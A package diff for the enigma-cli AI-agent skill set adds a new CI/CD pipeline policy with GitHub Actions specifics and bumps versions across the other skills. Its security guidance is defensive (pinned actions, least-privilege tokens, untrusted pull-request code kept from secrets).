enigma-cli 1.61.3 → 1.62.0

package/assets/memory/AGENTS.md

@@ -14,10 +14,10 @@
 - anti-overengineering-policy: writing or refactoring implementation code, or any "be lazy"/"simplify"/over-engineering request - the YAGNI ladder and minimal-code discipline.
 - anti-overengineering-review: on-demand "what can we delete"/audit/over-engineering review or an enigma: debt-marker ledger - lists cuts, applies nothing.
 - backend-policy, frontend-policy, database-expert, validation-policy: server, client, persistence, and input-validation work.
-- email-policy: sending or templating email from the server - React Email instead of hand-written HTML, plain-text alternative, link safety, and deliverability (SPF/DKIM/DMARC, bounce suppression, unsubscribe).
+- email-policy: sending or templating email from the server - React Email instead of hand-written HTML, plain-text alternative, link safety, and deliverability.
 - security-policy: secrets, auth, permissions, crypto, untrusted/tool output, and AI-agent/MCP/tool-use safety.
 - dependency-policy: adding/upgrading/auditing dependencies, lockfiles, and supply-chain risk.
-- testing-policy, code-review-policy, debugging-policy, git-policy: tests and test-suite layout (structured subfolders, never a flat tests/ dump), pre-delivery review, debugging, and commits/PRs.
+- testing-policy, code-review-policy, debugging-policy, git-policy, ci-policy: tests and test-suite layout (structured subfolders, never a flat tests/ dump), pre-delivery review, debugging, commits/PRs, and CI pipelines.
 - technical-writing-policy: any user-facing copy - UI labels, descriptions, hints, empty/error states, panel intros, README/doc prose - concise and realistic, no over-explaining or restating the obvious.
 - logo-sourcing-policy: adding any real brand/platform/technology logo or icon - source the official asset (never fabricate one), prefer SVG (WebP for web), keep brand colors, and check contrast.
 - task-completion-policy: long or multi-item tasks (1:1 ports, migrations, repo-wide changes) - work-unit inventory, persistent coverage ledger, and verified completion before any "done" claim.

package/assets/memory/CLAUDE.md

@@ -14,10 +14,10 @@
 - anti-overengineering-policy: writing or refactoring implementation code, or any "be lazy"/"simplify"/over-engineering request - the YAGNI ladder and minimal-code discipline.
 - anti-overengineering-review: on-demand "what can we delete"/audit/over-engineering review or an enigma: debt-marker ledger - lists cuts, applies nothing.
 - backend-policy, frontend-policy, database-expert, validation-policy: server, client, persistence, and input-validation work.
-- email-policy: sending or templating email from the server - React Email instead of hand-written HTML, plain-text alternative, link safety, and deliverability (SPF/DKIM/DMARC, bounce suppression, unsubscribe).
+- email-policy: sending or templating email from the server - React Email instead of hand-written HTML, plain-text alternative, link safety, and deliverability.
 - security-policy: secrets, auth, permissions, crypto, untrusted/tool output, and AI-agent/MCP/tool-use safety.
 - dependency-policy: adding/upgrading/auditing dependencies, lockfiles, and supply-chain risk.
-- testing-policy, code-review-policy, debugging-policy, git-policy: tests and test-suite layout (structured subfolders, never a flat tests/ dump), pre-delivery review, debugging, and commits/PRs.
+- testing-policy, code-review-policy, debugging-policy, git-policy, ci-policy: tests and test-suite layout (structured subfolders, never a flat tests/ dump), pre-delivery review, debugging, commits/PRs, and CI pipelines.
 - technical-writing-policy: any user-facing copy - UI labels, descriptions, hints, empty/error states, panel intros, README/doc prose - concise and realistic, no over-explaining or restating the obvious.
 - logo-sourcing-policy: adding any real brand/platform/technology logo or icon - source the official asset (never fabricate one), prefer SVG (WebP for web), keep brand colors, and check contrast.
 - task-completion-policy: long or multi-item tasks (1:1 ports, migrations, repo-wide changes) - work-unit inventory, persistent coverage ledger, and verified completion before any "done" claim.

package/assets/skills/anti-overengineering-policy/skill.json

@@ -7,6 +7,6 @@
     "minimalCode"
   ],
   "updated": "2026-07-17T00:17:02+02:00",
-  "cliVersion": "1.61.3",
+  "cliVersion": "1.62.0",
   "sha": "3f0dcc28341bb0407860534f7ce9314cfc91b5e673f8f3d13b89d61851ed75f6"
 }

package/assets/skills/anti-overengineering-review/skill.json

@@ -4,6 +4,6 @@
   "provider": "FJRG2007/enigma",
   "description": "On-demand over-engineering review - diff review, whole-repo audit, and enigma: debt-marker ledger (tags delete/stdlib/native/yagni/shrink, line/dep scoring); lists cuts, applies nothing.",
   "updated": "2026-06-16T11:24:30+02:00",
-  "cliVersion": "1.61.3",
+  "cliVersion": "1.62.0",
   "sha": "f742a2be3f328b9ea1ff9a35a449177c2cbec35ad16e46f7054b7a873a2ab017"
 }

package/assets/skills/backend-policy/skill.json

@@ -4,6 +4,6 @@
   "provider": "FJRG2007/enigma",
   "description": "Backend/API architecture: controller-service-repository layering, modern TypeScript project configuration (module resolution, strict flags, @/* path alias), API and request optimization (batching, avoiding redundant calls, skipping no-op writes), server-side caching (Redis), and Zod boundary validation.",
   "updated": "2026-08-02T19:59:01+02:00",
-  "cliVersion": "1.61.3",
+  "cliVersion": "1.62.0",
   "sha": "652637f818b4ce4f4d5d83fa68fa57fe7842e32fb179523958c5496af54bb938"
 }

package/assets/skills/ci-policy/SKILL.md

@@ -0,0 +1,134 @@
+---
+name: ci-policy
+description: CI/CD pipeline policy for any provider (GitHub Actions, GitLab CI, CircleCI, Buildkite, Azure Pipelines, Jenkins, Bitbucket) - cut wall-clock and runner minutes without dropping a single test or check, measure before and after, one pipeline per commit, caches keyed by a hash of their inputs and never saved from a failed build, no check run twice, sharding, change filters that cannot leave a required check pending, flakes fixed at the root instead of retried, and workflow security (pinned third-party actions, least-privilege tokens, untrusted pull-request code kept away from secrets). Use when creating, editing, debugging, speeding up, or reviewing any CI pipeline or workflow file (.github/workflows, .gitlab-ci.yml, .circleci, azure-pipelines.yml, Jenkinsfile, bitbucket-pipelines.yml, buildkite), or when a build is slow, flaky, red, or burning minutes.
+---
+
+# CI Policy (Pipelines & Workflows)
+
+## Activation Scope
+
+- Apply whenever a pipeline definition is created, edited, reviewed, or debugged, and whenever the task is "CI is slow / flaky / red / too expensive".
+- Owns pipeline structure, triggers, caching, parallelism, change filtering, and workflow-level security. Which tests exist and how they are written stays with testing-policy; what gets installed and how it is pinned with dependency-policy; secrets and tokens with security-policy; commits and PRs with git-policy.
+- Provider-specific mechanics live in references, read only for the provider the repository uses:
+  - GitHub Actions -> `references/github-actions.md`.
+  - Any other provider -> the concept map at the end of this file, then that provider's own docs. Never carry a GitHub syntax or limit over to another provider by assumption.
+
+---
+
+## Core Principle
+
+- The pipeline exists to tell the truth about a commit. Every optimization keeps that truth intact: the same tests and checks run, on the same code, with the same pass/fail meaning. A faster pipeline that checks less is a regression, not an optimization.
+- Optimize only what a measurement points at. CI changes are cheap to write and expensive to get wrong (a broken cache, a skipped required check, a secret exposed to a fork), so each change must name the number it is meant to move.
+
+---
+
+## 1. Measure First, Optimize the Critical Path
+
+- Before changing anything, pull per-job and per-step timings for several recent runs from the provider's API or UI, not from one run and not from memory.
+- The wall-clock of a pipeline is its slowest dependency chain (the critical path), not the average job. Shortening a job that is not on the critical path saves runner minutes but no waiting time; say which of the two a change targets.
+- Separate the fixed cost of a job (provisioning, checkout, dependency install, cache restore) from its work. Many small jobs that each repeat a 60-90 second setup can be slower and costlier than fewer larger ones.
+- After the change lands, measure the same jobs on the next real runs and report the before/after numbers. An estimate is not a result.
+
+---
+
+## 2. One Pipeline per Commit
+
+- A commit should trigger the full suite once. The common duplicate is a pipeline triggered both by the branch push and by the pull/merge request for the same commit; the two runs have different refs, so concurrency grouping never merges them.
+- Choose one trigger per context: pull/merge request events for proposed changes, push for the default branch (and release branches or tags) where post-merge work actually needs it, and a manual trigger for branches that have no pull request yet.
+- Cancel superseded runs of the same pull request or branch when a newer commit arrives. Never cancel runs on the default branch or release refs, where every commit's result matters (deploys, cache warm-up, status history).
+- Put a timeout on every job. A hung job holding a runner for the provider's default maximum is the most expensive failure there is.
+
+---
+
+## 3. Caching
+
+### Key by inputs, never by time or branch
+
+- A cache key is a hash of everything that determines the cached content: the lockfile for a dependency cache; for a build-output cache, the sources, lockfile, patches, shared compiler config, build scripts and toolchain version - with outputs, dependency folders and generated files excluded from the hash. Any input change then misses and rebuilds, so the cache can never serve stale output.
+- Add an OS/architecture and toolchain-version component to the key when the content depends on them (native modules, compiled artifacts).
+- Restore-key prefixes (partial matches) are fine for dependency stores that the tool revalidates (npm/pnpm/pip/Gradle caches). They are wrong for build outputs, where a partial match means using output built from different sources.
+- When the same key has to appear in several jobs or pipelines, define it once (a shared action, template, anchor, or include) instead of repeating the expression.
+
+### Never save a broken cache
+
+- Save a cache only when the step that produced it succeeded. When a job continues on error, split restore and save into separate steps and guard the save on that producing step's own success, not the job's.
+- A cache that is written from a failed or partial build poisons every later run that restores it, and the failure then looks unrelated to the change that caused it.
+
+### Know the scope rules
+
+- Every provider limits which runs can read which caches (by branch, by protected status, by pipeline). Read the provider's rule before designing around it. A typical consequence: pull requests can read the default branch's cache, so if nothing ever saves on the default branch, every pull request starts cold.
+- When pull requests start cold for that reason, add a small post-merge pipeline on the default branch whose only job is to build and save the caches pull requests restore. It must never mark a commit as failed: tools that read a commit's checks (merge gates, deploy and update gates) treat any failed check as a broken commit, so make its steps non-gating and let a cancelled run be the worst outcome.
+- Caches written by short-lived refs (one pull request) are usable only by that ref. Keep them small, and delete them when the ref closes when the provider's storage quota is shared, so they never evict the default branch's caches.
+
+### Check the cache actually helps
+
+- A cache that takes longer to restore than the work it replaces is a cost. Compare restore time with rebuild time from the step timings, and drop or narrow caches that lose.
+
+---
+
+## 4. Do Not Run the Same Check Twice
+
+- Map which job runs which check. If a dedicated job runs lint, type-check, or a security scan, a later build step must not repeat it - turn the duplicate off for that CI job only (an environment flag or CLI option), so local and release builds keep it.
+- Before removing a "duplicate", confirm it really is one. A framework build sometimes checks things a standalone tool cannot see (files generated during the build, for example); keep the check that covers more, or generate those files first so the standalone check sees them too.
+- Build once, reuse the artifact. Jobs that need the built output download it from the producing job instead of rebuilding it.
+
+---
+
+## 5. Parallelism
+
+- Split a slow suite into shards when it is on the critical path. Each shard runs a fixed, deterministic slice, so coverage is unchanged; let every shard finish (no fail-fast across shards) so one failure does not hide others.
+- Balance shards by measured duration, not by file count, and check the slowest shard after the change: the pipeline is as fast as its slowest shard.
+- When the suite produces coverage or test reports, merge the per-shard reports before any coverage gate evaluates them. A gate reading one shard's report fails or, worse, passes on partial data.
+- Run independent jobs in parallel and declare only real dependencies between them. A dependency that exists only out of habit serializes the pipeline.
+
+---
+
+## 6. Run Only What a Change Can Affect, Precisely
+
+- Change filters (paths, rules:changes, and the like) may skip a pipeline only for files that provably cannot affect any test or check. Before excluding a path, grep the test suite and build for it: tests sometimes read a README, a docs file, or a fixture outside the source tree as input.
+- Prefer narrow exclusions ("this docs folder", "markdown at this package root") over broad ones ("every *.md").
+- A skipped pipeline must not leave a required check pending. If a check is required for merging, skip the work inside the pipeline (a job- or step-level condition that reports success) rather than skipping the whole pipeline at the trigger level, or the pull request can never merge.
+
+---
+
+## 7. Flakes Are Bugs
+
+- Never paper over a flaky test with automatic retries, a rerun-until-green job, or a raised timeout. A retry hides real intermittent defects (races, ordering, time zones) and doubles the cost of every genuine failure. Fix the root cause or quarantine the test with a tracked reason (testing-policy).
+- Reproduce a flake by running the single test many times with the same seed and environment as CI, and by randomizing order. A flake that never reproduces locally usually depends on CI-specific state: parallelism, clock, locale, file system case, or available CPU.
+- When the cause is found, sweep the suite for the same pattern and fix every instance in the same change.
+
+---
+
+## 8. Security of the Pipeline Itself
+
+- Pin third-party actions, orbs, templates, and container images to an immutable reference (a full commit SHA or an image digest), with the human-readable version in a comment, and let an update bot move the pin. A tag can be moved to malicious code after you reviewed it.
+- Grant the pipeline token the least privilege it needs, set at the top of the pipeline and widened only on the job that needs more.
+- Code from an untrusted contributor (a fork's pull request) must never run in a context that has secrets or a write token. Triggers that run with the base repository's privileges are for metadata-only work (labelling, cache cleanup, commenting) and must not check out or execute the contributor's code.
+- Never interpolate untrusted event fields (titles, branch names, commit messages, comment bodies) directly into a shell script. Pass them through an environment variable and quote it.
+- Secrets reach only the jobs and steps that use them, and are never echoed, written to artifacts, or stored in caches.
+
+---
+
+## 9. Verify a Pipeline Change Before It Merges
+
+- Lint the definition with the provider's linter or validator, and parse it as YAML, before pushing (for GitHub Actions: actionlint).
+- Run the changed pipeline on a branch or pull request and read the result of every changed job, including the ones that are supposed to skip.
+- After merge, confirm the side effects the change was for (the cache was saved on the default branch, the duplicate run is gone, the shard times balanced) and report the measured numbers against the baseline from step 1.
+
+---
+
+## Provider Concept Map
+
+The rules above are provider-neutral. The names differ:
+
+| Concept | GitHub Actions | GitLab CI |
+| --- | --- | --- |
+| Pull/merge request trigger | `on: pull_request` | merge request pipelines (`workflow: rules` on `$CI_PIPELINE_SOURCE == "merge_request_event"`) |
+| Avoid branch + MR duplicates | drop `push` for non-default branches | `workflow: rules` that skip the branch pipeline while an MR is open (`$CI_OPEN_MERGE_REQUESTS`) |
+| Cancel superseded runs | `concurrency` + `cancel-in-progress` | `interruptible: true` + auto-cancel redundant pipelines |
+| Input-hashed cache key | `hashFiles(...)` in `key` | `cache: key: files:` |
+| Change filter | `paths` / `paths-ignore` | `rules: changes:` |
+| Job timeout | `timeout-minutes` | `timeout:` |
+| Shared definition | composite action, reusable workflow | `include:`, `extends:`, YAML anchors |
+
+For any other provider, map each rule to its equivalent from that provider's documentation before applying it, and say so when a rule has no equivalent there.

package/assets/skills/ci-policy/references/github-actions.md

@@ -0,0 +1,126 @@
+# GitHub Actions specifics
+
+Read with ci-policy when the repository's pipelines live in `.github/workflows`. Each section maps to the numbered rule of the same topic in SKILL.md.
+
+## Measure
+
+- Per-job and per-step timings of a run: `gh api repos/<owner>/<repo>/actions/runs/<run-id>/jobs`, then `jobs[].steps[].started_at` / `completed_at`. List recent runs of one workflow with `gh run list --workflow <file> --limit 20 --json databaseId,conclusion,createdAt`.
+- Compare the same job across several runs; a single run's numbers include runner and cache noise.
+
+## One run per commit
+
+```yaml
+on:
+  pull_request:
+  push:
+    branches: [main]        # only where post-merge work needs it
+  workflow_dispatch:        # branches without a pull request
+
+concurrency:
+  group: ${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }}
+  cancel-in-progress: ${{ github.event_name == 'pull_request' }}
+```
+
+- `on: push` without a `branches` filter plus `on: pull_request` runs the suite twice for every pull request commit: the push run is on `refs/heads/<branch>`, the pull request run on `refs/pull/<n>/merge`, so they never share a concurrency group.
+- `cancel-in-progress` is limited to pull requests so default-branch runs are never cancelled.
+- Every job gets `timeout-minutes`; the default is 360.
+
+## Cache scope
+
+- A run restores caches from its own ref and the default branch; a pull request run also from its base branch. It cannot restore caches from sibling or child branches.
+- A cache saved by a pull request run is scoped to `refs/pull/<n>/merge` and only that pull request can restore it.
+- Default quota is 10 GB per repository. Entries not accessed for 7 days are removed, and above the quota the least recently accessed go first - so pull request caches can evict the default branch's.
+- A key's content cannot be changed once saved; a new content needs a new key.
+
+### Warm the default branch
+
+A non-gating workflow on `push` to the default branch that builds and saves what pull requests restore. Steps use `continue-on-error: true` so the commit never shows a failed check:
+
+```yaml
+- id: build
+  continue-on-error: true
+  run: npm run build
+- if: steps.build.outcome == 'success'
+  uses: actions/cache/save@<sha> # vX.Y.Z
+  with:
+    path: packages/*/dist
+    key: ${{ steps.key.outputs.value }}
+```
+
+- `steps.<id>.outcome` is the result before `continue-on-error` is applied; `conclusion` is after it and reads `success` for a failed step. Guard saves on `outcome`.
+- Split `actions/cache` into `actions/cache/restore` + `actions/cache/save` whenever the save must depend on a specific step.
+
+### Build-output cache keyed by inputs
+
+```yaml
+- id: build-cache
+  uses: actions/cache/restore@<sha> # vX.Y.Z
+  with:
+    path: packages/*/dist
+    key: build-${{ runner.os }}-${{ hashFiles('packages/*/src/**', 'package-lock.json', 'patches/**', 'tsconfig*.json', '!**/dist/**', '!**/node_modules/**') }}
+- if: steps.build-cache.outputs.cache-hit != 'true'
+  run: npm run build
+```
+
+- Adapt the `hashFiles` globs to the repository's real inputs; a missing input means a stale hit.
+- Share a key used by several jobs or workflows through a local composite action (`.github/actions/<name>/action.yml`) that computes it as an output, instead of repeating the expression.
+- Dependency stores: prefer the setup action's built-in cache (`actions/setup-node` with `cache: npm`, `setup-python` with `cache: pip`) over a hand-written one.
+
+### Clean up pull request caches
+
+```yaml
+on:
+  pull_request_target:
+    types: [closed]
+permissions:
+  actions: write
+jobs:
+  cleanup:
+    runs-on: ubuntu-latest
+    steps:
+      - env:
+          GH_TOKEN: ${{ github.token }}
+          GH_REPO: ${{ github.repository }}
+          REF: refs/pull/${{ github.event.pull_request.number }}/merge
+        run: |
+          gh cache list --ref "$REF" --limit 100 --json id --jq '.[].id' |
+            while read -r id; do gh cache delete "$id"; done
+```
+
+- `pull_request_target` runs with the base repository's token, which is why it can delete caches for fork pull requests too. It is safe here only because it checks out and executes nothing from the pull request - keep it that way.
+
+## Required checks and change filters
+
+- A workflow skipped by `paths`, `paths-ignore`, `branches` or a commit message leaves its required checks "Pending", which blocks the merge.
+- A job skipped by an `if:` condition reports "Success". For a required check, run the workflow always and skip at job level, deciding with a first job that inspects the changed files (`git diff --name-only` against the base, or a vetted, SHA-pinned path-filter action).
+
+## Do not lint twice
+
+- When a separate job lints, disable the framework's build-time lint only in that CI job (an env var read by the framework config), so local and release builds keep it. Check the framework version first: some versions no longer lint during build at all.
+- Before dropping a build-time type check in favor of a standalone one, check whether the build generates types the standalone check needs (route types, codegen); generate them first or keep the build's check.
+
+## Sharding
+
+```yaml
+strategy:
+  fail-fast: false
+  matrix:
+    shard: [1, 2, 3, 4]
+steps:
+  - run: npx vitest run --shard=${{ matrix.shard }}/4
+```
+
+- Collect each shard's report as an artifact and merge them in a final job (for Vitest: `--reporter=blob` per shard, then `vitest --merge-reports`) before any coverage threshold runs.
+
+## Security
+
+- Pin every third-party action to a full commit SHA with the version as a comment (`uses: owner/action@<40-char-sha> # v4.2.1`), and let Dependabot (`package-ecosystem: github-actions`) or Renovate move the pins.
+- Set `permissions:` at the top of every workflow (`contents: read` as the baseline) and widen per job.
+- `actions/checkout` with `persist-credentials: false` unless a later step pushes.
+- `pull_request_target` and `workflow_run` run with secrets and a write token: never check out `github.event.pull_request.head.sha` / `head.ref` or run the contributor's code there.
+- Never put `${{ github.event.* }}` text fields (titles, bodies, branch names, commit messages) directly inside `run:`; pass them through `env:` and quote the variable.
+
+## Verify
+
+- `actionlint` on every changed workflow (install a pinned release and check its checksum, per dependency-policy). It also runs shellcheck over `run:` blocks when shellcheck is installed.
+- After merge: `gh cache list --ref refs/heads/main` shows the warm-up saved; `gh run list` shows one run per commit; compare the critical-path job's duration with the baseline.

package/assets/skills/ci-policy/skill.json

@@ -0,0 +1,9 @@
+{
+  "name": "ci-policy",
+  "version": "1.0.0",
+  "provider": "FJRG2007/enigma",
+  "description": "CI/CD pipelines on any provider: faster and cheaper without dropping a check - measure first, one pipeline per commit, input-hashed caches never saved from a failed build, no duplicate checks, sharding, change filters that keep required checks green, flakes fixed not retried, and workflow security.",
+  "updated": "2026-10-10T17:15:42+02:00",
+  "cliVersion": "1.62.0",
+  "sha": "87e141d1fb2dff2441a157a784fa7b57a66d6382b44d2ce74f24ad4865111407"
+}

package/assets/skills/ciphera-style-policy/skill.json

@@ -4,6 +4,6 @@
   "provider": "FJRG2007/enigma",
   "description": "Ciphera code style conventions (formatting, naming, imports incl. namespace imports for wide module surfaces, path-alias specifiers and no file extensions, comments, code-level anti-patterns; TypeScript-first, language-agnostic).",
   "updated": "2026-08-02T19:59:01+02:00",
-  "cliVersion": "1.61.3",
+  "cliVersion": "1.62.0",
   "sha": "3beb0383a9cb0331ef8a579308a2517d24d57a8ba33751ad17d16d0a4f66e344"
 }

package/assets/skills/code-review-policy/skill.json

@@ -4,6 +4,6 @@
   "provider": "FJRG2007/enigma",
   "description": "Pre-delivery self-review gate, prioritized review dimensions, and change-quality criteria.",
   "updated": "2026-08-19T12:37:59+02:00",
-  "cliVersion": "1.61.3",
+  "cliVersion": "1.62.0",
   "sha": "6b8a924cc11b61d4b45b73384aeb095ce622229359b7cc2c6ce4bb0cf3015ed7"
 }

package/assets/skills/core-engineering-policy/SKILL.md

@@ -52,6 +52,7 @@ description: Highest-authority engineering rules - priority hierarchy, modular a
   - Any UI, client state, data fetching, or client caching -> frontend-policy.
   - Any API endpoint, service, controller, or server request flow -> backend-policy.
   - Any email sent or templated from the server (verification, password reset, receipts, alerts, digests) or any email-provider integration -> email-policy.
+  - Any CI/CD pipeline or workflow file created, edited, debugged, or sped up (.github/workflows, .gitlab-ci.yml, Jenkinsfile, and the like), or a slow, flaky, or costly build -> ci-policy.
   - Any new or changed code that needs verification, or any test file created/moved/renamed or a test suite scaffolded/restructured -> testing-policy.
   - Any source code written, refactored, or reviewed (formatting, naming, language idioms) -> ciphera-style-policy.
   - Any implementation code being written or refactored, or any "be lazy"/"simplify"/over-engineering request -> anti-overengineering-policy.
@@ -104,6 +105,7 @@ This core policy owns orchestration, architecture, and the global rules. Each co
 - backend-policy: API/service architecture, controller-service-repository layering, API/request optimization, server-side caching (Redis).
 - email-policy: transactional and notification email - React Email templating instead of hand-written HTML, server-side rendering, a single send module behind the provider SDK, plain-text alternatives, idempotent background sending, link safety, and deliverability (SPF/DKIM/DMARC, bounce suppression, unsubscribe).
 - testing-policy: test strategy, coverage gates, deterministic tests, test/regression-first discipline, and test-suite layout (structure by type and domain, mirrored source paths, file naming, fixture/helper/factory placement).
+- ci-policy: CI/CD pipelines on any provider - faster and cheaper without dropping a check (measure first, one pipeline per commit, input-hashed caches, no duplicate checks, sharding, change filters that keep required checks green), flakes fixed not retried, and pipeline security (pinned actions, least-privilege tokens, untrusted PR code kept from secrets).
 - code-review-policy: self-review before delivery, review dimensions, change-quality gates.
 - debugging-policy: reproduce-isolate-fix methodology and root-cause discipline.
 - git-policy: commits, branches, and pull request standards.

package/assets/skills/core-engineering-policy/skill.json

@@ -1,12 +1,12 @@
 {
   "name": "core-engineering-policy",
-  "version": "1.13.0",
+  "version": "1.14.0",
   "provider": "FJRG2007/enigma",
   "description": "Core engineering execution policy and harness orchestration (highest-authority rules), including the generalization rule that treats a named example as a class to sweep and fix.",
   "config": [
     "codeGraph"
   ],
-  "updated": "2026-08-15T20:49:24+02:00",
-  "cliVersion": "1.61.3",
-  "sha": "95b7202e5659f8d9d6f11ce29e7dc5b01575ba86c78ef948bec4753ccf430155"
+  "updated": "2026-10-10T17:15:42+02:00",
+  "cliVersion": "1.62.0",
+  "sha": "c277b1bbe9fa0849f6b8cb06d5255dd0197c9ae21a815b73bd68f5abd90e8e20"
 }

package/assets/skills/database-expert/skill.json

@@ -4,6 +4,6 @@
   "provider": "FJRG2007/enigma",
   "description": "Senior database architecture policy: engine selection (PostgreSQL by default, SQLite only for local-first/embedded stores), ORM selection (Prisma in TypeScript/JavaScript), query optimization, anti-duplication/normalization, scalability, and RGPD/GDPR encryption.",
   "updated": "2026-08-04T18:33:27+02:00",
-  "cliVersion": "1.61.3",
+  "cliVersion": "1.62.0",
   "sha": "26fddc14caf697e830448a2cc453ddc470fe83d098d50bd67b278effba63274e"
 }

package/assets/skills/debugging-policy/skill.json

@@ -4,6 +4,6 @@
   "provider": "FJRG2007/enigma",
   "description": "Reproduce-isolate-fix debugging methodology with root-cause discipline and regression verification.",
   "updated": "2026-08-02T04:15:47+02:00",
-  "cliVersion": "1.61.3",
+  "cliVersion": "1.62.0",
   "sha": "968876bcac9ce6e5a20be05c89ac97191b112c9e08679a8dc506d150c375fec4"
 }

package/assets/skills/dependency-policy/skill.json

@@ -4,6 +4,6 @@
   "provider": "FJRG2007/enigma",
   "description": "Dependency and supply-chain security: lockfiles and reproducible installs, version pinning, vulnerability auditing, vetting/minimizing packages, vendoring, and SBOM/provenance.",
   "updated": "2026-06-01T00:45:28+02:00",
-  "cliVersion": "1.61.3",
+  "cliVersion": "1.62.0",
   "sha": "6375d835c2aef2c9bd31ce116444dc3d796f510f9970a213aa3ac4696d7e21b9"
 }

package/assets/skills/email-policy/skill.json

@@ -4,6 +4,6 @@
   "provider": "FJRG2007/enigma",
   "description": "Transactional email: React Email templates instead of hand-written HTML tables, server-side rendering, one send module behind the provider SDK, plain-text alternatives, idempotent background sending, link safety, and deliverability (SPF/DKIM/DMARC, bounce suppression, unsubscribe).",
   "updated": "2026-09-28T21:34:15+02:00",
-  "cliVersion": "1.61.3",
+  "cliVersion": "1.62.0",
   "sha": "648c7ae3d95d5a033f4955a87613e20b40b265bfcc24d41a5732d415abe778f9"
 }

package/assets/skills/frontend-design/skill.json

@@ -4,6 +4,6 @@
   "provider": "FJRG2007/enigma",
   "description": "Guidance for distinctive, intentional visual design when building new UI or reshaping an existing one.",
   "updated": "2026-09-28T21:34:15+02:00",
-  "cliVersion": "1.61.3",
+  "cliVersion": "1.62.0",
   "sha": "5d532c2dc467f960ff800c5cd7021db09911599347959cd04481f2054abd9baa"
 }

package/assets/skills/frontend-policy/skill.json

@@ -4,6 +4,6 @@
   "provider": "FJRG2007/enigma",
   "description": "Frontend architecture: reusable components, abstraction thresholds, state management, real-time form validation where an emptied or not-yet-filled field is incomplete rather than invalid (a `*` on the label and an aria-disabled submit, never \"email is not valid\" over an empty input), no-op detection (skip any operation whose result equals current state, not just form saves; dirty means different from the loaded snapshot, not touched), instant first paint (render the shell, load data async, skeletons), perceived performance (prefetch on intent, debounce/throttle, cancel stale requests, avoid waterfalls, lazy widgets), large-list rendering (infinite scroll is the preferred default, pagination the deliberate exception when the design or the user calls for it, virtualization, skeletons, progressive loading), data views that ship their own affordances by default (a log, expense, transaction or history table is not done when the rows render: fuse.js search, the filters its column kinds imply, a date range, sort, filter state in the URL, and an export of the filtered set), every reference to an entity being a way into it (a name, id, project or path in a row links to that record, reveals it in a hover card, or at minimum copies and filters by it, never inert text; machine codes get human labels and raw payloads are never dumped into a cell), optimistic UI with rollback, visual restraint (one card level, spacing before borders, one elevation scale), icon actions (repeated row/card actions are icon-only buttons with aria-label plus title, not text labels), responsive/adaptive layout (fluid units, breakpoints, no overlap/overflow, viewport meta, touch targets), form fields that declare their keyboard and casing (autocapitalize/autocomplete/inputmode per field kind, set once in the shared Input, normalized on blur), variable-length text (min-width:0 in flex/grid, wrap vs truncate, long unbroken strings, worst-case content checks), auth screens (breached-password feedback, strength meter, cookie consent before login/register), and AI chat/agent interfaces via Vercel's AI Elements registry instead of hand-rolled message threads.",
   "updated": "2026-10-02T12:11:30+02:00",
-  "cliVersion": "1.61.3",
+  "cliVersion": "1.62.0",
   "sha": "2571746934548e64ee30348bbf29b1d971d3afa0a7b32277b137150bf8803f90"
 }

package/assets/skills/git-policy/skill.json

@@ -4,6 +4,6 @@
   "provider": "FJRG2007/enigma",
   "description": "Git & contribution policy (senior engineering standards).",
   "updated": "2026-10-05T14:00:39+02:00",
-  "cliVersion": "1.61.3",
+  "cliVersion": "1.62.0",
   "sha": "3863620f77993eff848d52da383cabb658a14a370f4a977929e60af216eb6d8d"
 }

package/assets/skills/logo-sourcing-policy/skill.json

@@ -7,6 +7,6 @@
     "logoColorPolicy"
   ],
   "updated": "2026-07-17T00:17:02+02:00",
-  "cliVersion": "1.61.3",
+  "cliVersion": "1.62.0",
   "sha": "09cdbefd98625b02a7d03685e5deed128238ff8454a83fe22279610fe3ef8ddf"
 }

package/assets/skills/security-policy/skill.json

@@ -4,6 +4,6 @@
   "provider": "FJRG2007/enigma",
   "description": "Application and AI-agent security: secrets, authn/authz (least privilege, object- and role-level checks), credential flows with breach-checked passwords (Have I Been Pwned), OWASP Top 10 with vetted helpers for SSRF, redirects and uploads, transport/crypto baseline, cookies and consent, secure logging, and agent/MCP/tool-use safety.",
   "updated": "2026-09-28T21:34:15+02:00",
-  "cliVersion": "1.61.3",
+  "cliVersion": "1.62.0",
   "sha": "544359122f127cccedfe469232da915b04f7f4aa4795297281bd4bc9cd07d371"
 }

package/assets/skills/skill-creator/skill.json

@@ -4,6 +4,6 @@
   "provider": "FJRG2007/enigma",
   "description": "Create new skills, modify and improve existing skills, and measure skill performance with evals and benchmarks.",
   "updated": "2026-08-03T00:16:54+02:00",
-  "cliVersion": "1.61.3",
+  "cliVersion": "1.62.0",
   "sha": "a49f6166f57d734e0f13487332da37903e925f32257447856af0fbd6a5f1dc84"
 }

package/assets/skills/task-completion-policy/skill.json

@@ -4,6 +4,6 @@
   "provider": "FJRG2007/enigma",
   "description": "Exhaustive completion discipline for long/multi-item tasks - inventory, coverage ledger, verified done.",
   "updated": "2026-10-02T12:38:13+02:00",
-  "cliVersion": "1.61.3",
+  "cliVersion": "1.62.0",
   "sha": "ee8447d5ca9e5d77e0a338d1e762c30e1527ded4665c10ddf21f2c4c9ce3f2d5"
 }

package/assets/skills/technical-writing-policy/skill.json

@@ -4,6 +4,6 @@
   "provider": "FJRG2007/enigma",
   "description": "Concise, realistic copy for UI, landing/sales, SEO, email and docs - the user's outcome instead of the mechanism, no full enumerations or \"powered by\" lineage, none of the recognizable AI-writing tells, and never a typographic dash.",
   "updated": "2026-09-28T21:34:15+02:00",
-  "cliVersion": "1.61.3",
+  "cliVersion": "1.62.0",
   "sha": "e32623f37f1bf90fa611968ca8b216e3381771254b6af7c81a953c17a8889ddb"
 }

package/assets/skills/testing-policy/SKILL.md

@@ -47,6 +47,7 @@ description: Test strategy (test pyramid), coverage gates, deterministic tests,
 
 - Tests must be deterministic: no reliance on real time, randomness, network, or ordering.
 - Control time, randomness, and external services via injection, fakes, or fixtures.
+- A negative case derived from a random value must differ from it by construction. Mutating a random token or id to a fixed value ("replace the last character with A") passes the original through whenever it already had that value - a flake that fails 1 run in N. Pick the replacement from the value itself (A unless it already is A, else B), and sweep the suite for the same pattern when one is found.
 - Each test must be independent and able to run in isolation and in any order.
 - One logical assertion focus per test; name tests by the behavior they verify.
 - Follow Arrange-Act-Assert (or given-when-then) structure.

package/assets/skills/testing-policy/skill.json

@@ -1,9 +1,9 @@
 {
   "name": "testing-policy",
-  "version": "1.2.0",
+  "version": "1.2.1",
   "provider": "FJRG2007/enigma",
